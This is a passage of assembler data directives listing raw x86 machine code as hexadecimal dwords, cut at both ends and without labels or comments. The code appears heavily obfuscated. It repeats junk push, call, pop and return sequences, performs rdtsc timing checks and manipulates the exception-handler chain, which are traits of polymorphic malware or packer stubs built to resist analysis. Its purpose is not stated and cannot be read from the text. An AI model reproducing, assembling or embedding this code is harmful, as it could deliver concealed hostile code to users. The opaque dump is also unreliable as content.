0C3504000h, 44E95Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 1347BC3h, 0B0E69BDh dd 0AD952906h, 50060B0Bh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0BD89C08Bh, 60B06D5h, 6E8h, 5A524100h dd 3B68BB9h, 0B02A99Dh, 6E95F06h, 7F000000h, 0E1F2645Ah dd 9BD83E3h, 3060B10h, 3DF850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 8B6642C3h dd 1DBD83F8h, 60EA8h, 3B3840Fh, 8E90000h, 0E6000000h, 585681E2h dd 0FFB440EAh, 0EA81DB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0CEB1DFEh dd 0D2B14483h, 89BD2957h, 5B060B03h, 83D95FFh, 6A060Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8918B9C3h, 0B0671BDh, 11B58B06h, 6A060EA8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 1AB9C350h, 6C74347h, 10001h, 1B558589h, 6096060Bh, 880F53h dd 5F000000h, 5061DE8Bh, 5E95250h, 85000000h, 0B4A89935h dd 0E853310Fh, 0Ch, 0CCA14C98h, 8502F5AAh, 42F787BFh, 585A5B5Fh dd 5820F96h, 0BB000000h, 2F60ECFAh, 0A81DB5FFh, 6A060Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0F76D6DC3h, 66126788h, 95FFFB8Bh, 60B0641h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E8C35242h, 9D8BE737h dd 60B0B39h, 15A1B589h, 0B58B060Bh, 60EA811h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0CAC35343h, 0BF395B8h dd 1299DFE3h, 0CE9h, 0E93EB900h, 0E7FABF82h, 8EBFB665h dd 1D858B50h, 0F060B12h, 584h, 0CF816600h, 86893F7Bh, 0C4h dd 6D958B60h, 66060B0Fh, 61823EBBh, 174D958Bh, 6A060Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0B88D80C3h, 8E93B8Eh, 81000000h, 654F0725h, 8318536Eh dd 0BD0304C2h, 60B29E5h, 0F205089h, 1982h, 14E900h, 5B2B0000h dd 8202E09Ah, 0C0589C2Ah, 72797BA4h, 5491DAF5h, 858DD185h dd 60EBAEEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0A1C35545h, 0DCDBD31h, 8689060Bh, 0B8h, 0DE9h dd 0E34B3C00h, 0FA67209Fh, 0ACE45AFFh, 6ABF28h, 9860Fh dd 8B600000h, 1C21B8C2h, 0FF61303Ch, 0EA81DB5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0CDEAAF03h, 59589A3h, 0FF060B07h, 0B0F1595h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 9ABD49E1h, 6CC2FFB2h, 0DFBF0FA7h, 0FE996h, 0B52D0000h dd 9F9C7F83h, 4D75D63h, 3D5D41F2h, 0B7515034h, 0B7965B83h dd 1DB5FFABh, 6A060EA8h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 68E9C357h, 0C229F84Dh dd 0E9A87D66h, 7, 0F9312C7Ch, 0FF81A549h, 0B00F595h, 1DBD0106h dd 83060B29h, 0B2191BDh, 840F0006h, 15h, 192D9501h, 0BF50060Bh dd 465048BAh, 89243489h, 0B0435BDh, 1DB5FF06h, 66060EA8h dd 734AEF81h, 128195FFh, 0E7B3060Bh, 0A81DB5FFh, 0FBBF060Eh dd 0FF2FB5ABh, 0B0B8D95h, 0F1BD8306h, 2060B17h, 3D840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 5051F0C3h, 5B5B5F51h, 2EC5858Bh, 0BD8B060Bh dd 60B13C1h, 0F0000C6h, 68Dh, 72EF8100h, 0C71B1B6Ah, 0B06B985h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0BF71625Fh, 0ACAC28D3h, 0F489E9D0h dd 8166FFFFh, 8BEA8ADFh, 0D78166C1h, 858DE6B7h, 60B28A9h dd 7E9h, 2B047E00h, 65B8BABEh, 24048950h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 0A5C35040h, 94C4D614h dd 6ADE8Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0F4C35747h, 931DCE0h, 880D33F4h, 10E9h, 0A4FB0B00h dd 3F46F8D4h, 0B06C45C0h, 0D7363A92h, 0B5BD2BB7h, 6A060B27h dd 21BD0B00h, 8D060B27h, 0FAFAB85h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 5EC1C252h dd 0F7C603ADh, 8A0FFE8Bh, 6, 293D9D8Bh, 0C083060Bh, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0B5895F77h, 60B2EF9h, 830F5790h, 0Bh, 6E9h, 3A4EAE00h dd 5B9454FAh, 0B8C0F50h, 50000000h, 0BF310F52h, 54F02B9Fh dd 0BF90585Ah, 6D832311h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 9BA5EBC3h, 0BD0B4C55h dd 60B29FDh, 6AD98Bh, 0FFF8BF0Fh, 0B2F2195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 68524FFEh, 0E1BF914Ch, 810D39B1h, 3351D1D3h, 0B08D8D2Ah dd 66060EA7h, 0D1FFD98Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 91C35141h, 73A4F8D2h, 19E1089Ah, 30BCBF66h dd 13E8h, 0C45B1D00h, 1CED597Bh, 965903Ah, 9D24F3A0h, 576C929Ah dd 9688BB66h, 19BD835Bh, 1060B0Bh, 0AD850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 977B4AC3h, 9874E1FDh, 0DF8B6643h, 6A026Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A5D089C3h dd 0B575F652h, 9096EDDBh, 0B0BB6651h, 50505BB4h, 8B310F52h dd 90585AD9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0F1C35646h, 0EA01D065h, 13399D31h, 9D01060Bh, 60B2099h dd 0F1595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0E98293C3h, 0DCAh, 0E8h, 0ED815D00h dd 60FAFB5h, 1A6DB501h, 0B70F060Bh, 51BB66D8h, 93858D69h dd 6A060E92h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0F200C352h, 60CBFE05h, 4810Fh dd 0BF660000h, 0CE81D747h, 254957DFh, 0AE99061h, 49000000h dd 6A9CFC09h, 0C03223CDh, 0BB6650FEh, 8B90D169h, 0B2F49BDh dd 35FF6406h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0CC35040h dd 0C7C5DB0Dh, 28F0FE2h, 0B7000000h, 258964FCh, 0 dd 6890Fh, 0B5890000h, 60B2809h, 66D85FFh, 0BD89060Bh dd 60B0209h, 0BD03FF6Ah, 60B2F51h, 1A31B5FFh, 0BF0F060Bh dd 1195FFFEh, 0E9060B24h, 0F0h, 2F61BD29h, 0B0060Bh, 3819D8Bh dd 70E6060Bh, 0DDBD2960h, 89060B0Ch, 0B174585h, 71E46106h dd 15DDBD01h, 613C060Bh, 0C2830Fh, 8B660000h, 0C8B60FFAh dd 6BAh, 29605100h, 0B2045BDh, 8B5F6106h, 0C10AB3C1h, 9D2904E8h dd 60B288Dh, 8BE2F766h, 0B02C1BDh, 0FC82B06h, 689h, 57D38100h dd 8B4481D6h, 0F1BB66D1h, 7EE945h, 858B0000h, 8, 33559D8Bh dd 0C083060Bh, 0F99D8B07h, 8B060B23h, 0B0619BDh, 0C08306h dd 11E952h, 167D0000h, 3F3B1A05h, 8AF35E6Fh, 852E070Eh dd 5BC9C013h, 830FD03Bh, 11h, 0B5958956h, 5B060B06h, 33E9h dd 65BB6600h, 0FF8D8B69h, 53FFFFFFh, 32E59D89h, 835B060Bh dd 840F01E1h, 18h, 0C65ABF66h, 0FFFFA583h, 89FEFFFFh, 895h dd 0E9ABB300h, 0 dd 3049B58Dh, 6A060Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 30318C3h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 380415C3h dd 0CF19589h, 95FF060Bh, 60B32DDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0DBC35747h, 1BCB8031h, 0BB5B589h dd 0D5B9060Bh, 6600000Eh, 0E183DF8Bh, 0ADBD8BFCh, 0FC060B29h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 69C35545h dd 43A7078Dh, 0DDF04C19h, 0E9BB6667h, 12E9C7h, 66120000h dd 0A7781D0Dh, 998E266Ah, 5C92AA93h, 0F2B8E199h, 0B8h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0BD230085h, 60B07A1h, 0BAh, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B8E717ACh, 9D896F08h, 60B21E9h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 986CBF66h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 45C35545h, 0DCB5FCF0h, 66D9B70Fh, 0D4BE7BFh dd 88h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh dd 0D8C35242h, 11222462h, 0C933F042h, 0C18D8978h, 8B060B19h dd 0B174D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 29C187F9h, 71207969h, 8D8BFC8Ah dd 60B0119h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0DBC35545h, 8DE341C0h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0E8B35818h, 81858951h, 5B060B24h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 5EC35545h, 0DED69E83h dd 0D893476Ah, 850F60B0h, 6, 8C0Fh, 8B660000h, 9D8B61FAh dd 60B2949h, 29BDBD83h, 0F00060Bh, 6C84h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0A7BBB34Ch, 19671577h, 0EB3DBB58h, 0B86941h, 23000000h dd 0B035D9Dh, 0D78D8D06h, 33060B4Dh, 0B31A19Dh, 6AE1FF06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0C6F1C355h, 3984D245h, 8BFC5B52h, 0B16A59Dh dd 9BD8306h, 60B10h, 4BA840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 71C88C3h dd 7C3AEDCh, 9D29FECDh, 60B1A2Dh, 1009BD83h, 0F01060Bh dd 49E84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 9D8BFDA1h, 60B0BB1h, 1009BD83h, 0F03060Bh dd 43886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 5752AD0Ch, 5BDE8B66h, 0FBB70F5Fh dd 38F0F60h, 80000000h, 8C6633C3h, 0B7DF81D9h, 807119ABh dd 9D2304E1h, 60B1341h, 840FC90Ah, 146h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 85C35141h, 35964F62h dd 0FE8C06Ch, 0A8Dh, 4860F00h, 66000000h, 8BB29CBBh, 0B317D85h dd 17D78106h, 0E8300D31h, 12h, 4AB054E6h, 4C91E2D6h, 7BBF89E8h dd 7EB85DCAh, 8D89AD32h, 60B0DDDh, 0ED85335Bh, 0F9060B06h dd 4EBA6090h, 8B1C3ADAh, 8B5061FEh, 6AF990FBh, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 8D89600Fh, 60B0B91h, 5318D8Bh, 6061060Bh, 6810Fh, 8D890000h dd 60B13D5h, 6890Fh, 9D8B0000h, 60B2E61h, 22476861h, 0B5BB79E9h dd 813A7C83h, 21B82434h, 6A79F6h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0BEFDC2C3h, 0C65C1114h dd 0BD8904DAh, 60B3331h, 0E959589h, 95FF060Bh, 60B03D1h dd 25DF8166h, 1D8589EFh, 6A060EA8h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DAC7C356h dd 333106CBh, 5850F60h, 0BE000000h, 17AC4499h, 0DAEF8166h dd 13E9618Bh, 0F000002h, 858BDBBFh, 60EA815h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 52C35343h, 0FB828D52h dd 0FEFBF5Dh, 0D9D0125h, 0C7060B2Ah, 1800h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0AF89788Fh, 38F0Fh, 0B70F0000h, 19B58BF9h, 6A060EA8h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 7D5CC351h, 0F1A0516h, 8166FAB7h, 0E96698DBh dd 0Eh, 5C4285A7h, 0C34120E9h, 0D0CD99C0h, 858BA979h, 60B06E1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 7FC35141h dd 840F5489h, 3, 89DF8B66h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 3CFEBCBCh dd 666C7171h, 814EA8BBh, 418BD3DBh, 7D858B67h, 6A060B31h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 3D06C351h, 0B6121DEFh, 9D29E98Eh, 60B26E1h dd 6A044689h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 7FFAC357h, 2860F60h, 0B4000000h dd 12E960h, 41400000h, 44B5F63h, 0C7226A6h, 69883918h dd 508C00AAh, 0DA8B9661h, 5D6DBB50h, 6A967720h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 8851C353h, 0A815B5FFh, 850F060Eh, 2, 0C768D88Bh, 50693754h dd 28B0F52h, 8B000000h, 5A310FF8h, 24348158h, 69285738h dd 29F960F9h, 0B06A5B5h, 858D6106h, 60EA81Dh, 1B59BF66h dd 89DE8B50h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8B6016C3h, 0B0B6D95h, 0A1858B06h dd 61060B27h, 1A55B589h, 95FF060Bh, 60B03D1h, 331BD89h dd 6A61060Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 9FD6C356h, 78CB69BFh, 985C759h dd 3060B10h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0FE90C350h, 12D9BD01h dd 0BD83060Bh, 60EA81Dh, 3A840F00h, 89000000h, 0B14C9BDh dd 4AE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0BE252EC3h, 1001368Ch, 6810F53h dd 8B000000h, 0B2A119Dh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0D1CF8166h, 0BE873h, 22DF0000h dd 0ED18204Ah, 825DC465h, 10E9ABh, 98750000h, 0C71FF75Ah dd 2740F37Ch, 836E95B5h, 835FF7EEh, 0B1009BDh, 850F0306h dd 3E3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 49C35242h, 39610A95h, 8B82F257h dd 0B01959Dh, 83FEB306h, 0EA81DBDh, 840F0006h, 3ABh, 2D89BD8Bh dd 0B5FF060Bh, 60EA81Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0FEC35545h, 0A06BEF5Bh, 0FFFD8A85h, 0B083D95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0A81148D9h, 0C73BC27Ch, 79BD2348h, 8B060B1Bh dd 0EA811B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0F9C0F70h, 0C7AF5C08h, 1000106h dd 8B609600h, 0F7BF66CFh, 0BF506163h, 52F0E3ABh, 1DB5FF96h dd 6A060EA8h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 2B48C350h, 0B2125BDh, 256FBF06h dd 95FF0F13h, 60B0641h, 3CDB8166h, 11B58B78h, 6A060EA8h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 6A17C357h, 0E2B756B6h, 0E0A9D7A8h, 0DEFD5BFh dd 1D858B79h, 6A060B12h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 7342C355h, 6FEF9FF8h dd 0AAB860CEh, 8168568Fh, 83B7D4F6h, 9D036111h, 60B2439h dd 0C48689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 4D103BC3h, 801C6DB0h, 958BC5E3h dd 60B174Dh, 83DFB70Fh, 816604C2h, 896AD8EFh, 0BD012050h dd 60B1E8Dh, 0BAEE858Dh, 0BD89060Eh, 60B05E1h, 0B88689h dd 95310000h, 60B2101h, 32D99D8Bh, 6A060Bh, 6810Fh, 0BD8B0000h dd 60B2B69h, 0A81DB5FFh, 0BD8B060Eh, 60B1921h, 0F1595FFh dd 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 771284C3h, 0EE95096h, 0D7000000h, 0C443050h dd 6C68720Ah, 1B45F985h, 243489C7h, 58C0Fh, 28BB0000h dd 0FF22CA0Ah, 0EA81DB5h, 12E806h, 85690000h, 1580C094h dd 37D2D67Ah, 0EAEA7A71h, 0BBEAB57Ah, 1B75BF66h, 0F595FF5Fh dd 0B7060B00h, 6820F49h, 8B000000h, 0B0B959Dh, 91BD8306h dd 60B21h, 53840Fh, 96F90000h, 13E9h, 0DF6CDA00h, 353CA2E8h dd 1F3E77CAh, 0A39A3484h, 0C2D7DB87h, 0BE850h, 0F600000h dd 97A6670Ch, 8B86977Eh, 5BDA8BC5h, 50006A96h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 3A6AADFh, 0B01999Dh dd 1DB5FF06h, 6A060EA8h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 121C351h, 6FAF6EC9h dd 840FF88Bh, 4, 46CBF66h, 128195FFh, 6A060Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 344745C3h, 90D5D4FFh, 0FBBF0FB6h, 0A81DB5FFh, 6A060Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 3E590AC3h, 729F2589h, 6614E2ABh, 0BDDDD781h, 0FFD88B66h dd 0B0B8D95h, 2BBB6606h, 0F1BD8323h, 2060B17h, 59840Fh dd 0DA8B0000h, 2EC5858Bh, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 33A958C3h, 0D19EC490h dd 28D0F79h, 8B000000h, 0C6F9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 36C35545h, 0C7D40112h, 0C74E8F9Bh dd 0B06B985h, 6, 4DB53100h, 0E9060B05h, 0FFFFF330h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 72C35545h, 365B376Ch dd 0A7153756h, 0DE9h, 0C1814700h, 2019DF63h, 91A5D951h dd 0C18B3F8Dh, 63D9529h, 858D060Bh, 60B28A9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FDC35545h, 0E9BEC7C1h dd 11h, 0EC19221h, 3556540Ch, 8F23D82Ch, 68CB9446h, 0FE8B664Fh dd 89DF8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0E4B90DC3h, 633CF005h, 5E9F768h dd 0F9000000h, 0ABF7369Ah, 0B960006Ah, 0C81F7A0h, 33B9BD01h dd 6A61060Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0DE013CAEh, 0BFBA858Dh, 0AE8060Fh dd 46000000h, 0C7DA1BF2h, 0BC2554F1h, 0C1BD8B31h, 5F060B2Eh dd 0E805C083h, 9, 5A60AB08h, 0CDFB0EFh, 0D98B66D7h, 0DE8905Bh dd 1E000000h, 0BE4E6ADFh, 3E88B867h, 1DA19FAAh, 0BE9h dd 5B28F800h, 3A2FEAE1h, 6043E021h, 8990505Fh, 0B0B51BDh dd 0BF006A06h, 6ABDCF03h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8B272AC3h, 0B2181BDh dd 2195FF06h, 6A060B2Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 2EAEC352h, 0CC98D89h dd 8D8D060Bh, 60EA7B0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0C2C35141h, 0F93DC087h, 0FE9B0CDh, 84000000h dd 571567D1h, 4EE1577Eh, 0F03BA54Bh, 0D1FF9352h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 39C35646h, 98390842h dd 225D9D0Bh, 8E9060Bh, 9F000000h, 43DE2110h, 83D7AF86h dd 0B0B19BDh, 850F0106h, 6Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 9AC35040h, 89576C92h, 0B02F98Dh dd 6A026A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 7A8FC356h, 0B8DC5998h, 0CFBF7D27h dd 28F0F50h, 0B3000000h, 240489D8h, 289D9D89h, 95FF060Bh dd 60B0F15h, 8BD38B60h, 0B1741B5h, 0E0E96106h, 0E800000Ch dd 0 dd 0C4ED815Dh, 8B060FBFh, 0B02A99Dh, 0ED8D2906h, 66060B0Fh dd 94F6F381h, 9293858Dh, 6A060Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 8463F8C3h, 0F1179A8h dd 681h, 899D8900h, 0E9060B29h, 0Dh, 9F184229h, 75C11BCFh dd 0F40DC726h, 31BF5017h, 8924C695h, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 328D82C3h dd 1CA8B19Ah, 53FA8B27h, 0FF645BF9h, 35h, 0E5858900h, 64060B13h dd 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0FEBB7CC3h, 0E9FACEA1h, 0Ah, 3D872501h dd 3C1F26h, 85FF406Eh, 60B066Dh, 0C718D89h, 0FF6A060Bh dd 0D9B5FFFCh, 0E9060B0Eh, 0Ah, 0B805DC74h, 142CB156h dd 95FFC0DFh, 60B2411h, 123E9h, 0D3816600h, 0B064BFh, 3059D8Bh dd 70E6060Bh, 8A59D8Bh, 0BD01060Bh, 60B1789h, 858971E4h dd 60B2E71h, 613C69B7h, 0F6830Fh, 0FC8A0000h, 0BAC8B60Fh dd 6, 89C18BF5h, 0B240D95h, 4E8C106h, 661ECB80h, 9D31E2F7h dd 60B0C75h, 0DE9h, 89DF200h, 753736DAh, 1800B63Ch, 0C82BD9CDh dd 21018589h, 0D18B060Bh, 0E9F9B70Fh, 0B0h, 1765BD8Bh dd 858B060Bh, 1, 68A0Fh, 0B5890000h, 60B0571h, 0E807C083h dd 0Fh, 0F1C97A96h, 121BD86h, 6FAF6EC9h, 8991520Eh, 0B14C195h dd 0B9605F06h, 1A97955Ah, 12E9h, 0AFCE3C00h, 9A5B2BCFh dd 2A8202E0h, 0A4C0589Ch, 6172797Bh, 6000C083h, 0F598D89h dd 0BF0F060Bh, 0D03B61D8h, 0E830Fh, 0B5890000h, 60B0139h dd 3BE9h, 5BFC5000h, 0FFFF8D8Bh, 9D8BFFFFh, 60B0CDDh, 0F01E183h dd 2384h, 0C3816600h, 0A583B3E9h, 0FFFFFFFFh, 3D9D8BFEh dd 89060B10h, 195h, 0BD9D0B00h, 0E9060B08h, 0 dd 3F1EB58Dh, 870F060Fh, 0Ch, 6870Fh, 860F0000h, 0 dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 667019C3h, 0A81DDB81h, 0FFFBBF0Fh, 0B32DD95h dd 5D9D8906h, 0B9060B28h, 1093h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 4CC35242h, 0EE9B501h, 0E183060Bh dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 7321BF0Fh, 17C52B01h, 327DB589h, 6AFC060Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 9325C352h, 83B7CDB6h, 2BFBBF0Fh, 3D9D23C0h dd 0BA060B00h, 0 dd 0ADFBB70Fh, 0E8D1C233h, 0E983D003h, 66F47504h, 6AE1A9BFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 7F3FC355h, 0BB1B1978h, 6EBF6E8Fh, 0D135EECh dd 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 71C35646h, 0FDBD8B82h, 8B060B03h, 0B174D95h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0D593F24Eh, 53E311C5h, 3AC38166h, 8D8B5B06h, 60B0119h dd 319BD8Bh, 8B50060Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 3179BD8Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 612F97C3h, 8392DB24h dd 0B29BDBDh, 840F0006h, 77h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 6FC35040h, 7BE89E3Dh, 255FFDFDh dd 2989BD8Bh, 8166060Bh, 0B82157DBh, 0 dd 21B58D89h, 8D8D060Bh, 60B4DD7h, 0DE8h, 0E100B500h, 55DF4FA1h dd 0FECB52D8h, 0FF5B9B31h, 51006AE1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8ABBAB45h dd 833B8A14h, 0B1009BDh, 840F0006h, 420h, 5880Fh, 81660000h dd 83127FCFh, 0B1009BDh, 840F0106h, 423h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 0E5C35141h, 92F890F7h dd 0B8D381B2h, 0F80DF096h, 1009BD83h, 0F03060Bh, 3B886h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 90490A8Dh, 85B5179Ah, 0E8DE8BA8h, 14h, 3DFC382Dh dd 94ED015Dh, 0D729D728h, 972A530h, 35D49FB7h, 119D33h dd 605F060Bh, 27698589h, 8D09060Bh, 60B0339h, 31D98C66h dd 0B2D8D8Dh, 4E18006h, 0F9F78166h, 0FC90A2Ch, 17384h dd 0D1BD8B00h, 8B060B02h, 0B317D85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 66A41463h dd 8ABBC381h, 6ED8533h, 8E0F060Bh, 0Ch, 7E9h, 45F78000h dd 93B99289h, 58B0Fh, 81660000h, 90978FEFh, 0C18B6660h dd 5061F98Ah, 178A0Fh, 12E90000h, 0A3000000h, 91AD9490h dd 82AA2345h, 0AF0A4342h, 0F0194F0Bh, 6A9060h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F1B54C3h, 8B66DEB7h, 80006AF9h, 0B70F12E3h, 0DB8C68D8h dd 820F25DEh, 3, 81F88B66h, 0D8732434h, 6A25C1h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0C5F700C3h, 0AB57F87Bh, 6BBFBF91h, 9D8B5B5Ah, 60B1FD5h dd 3D195FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 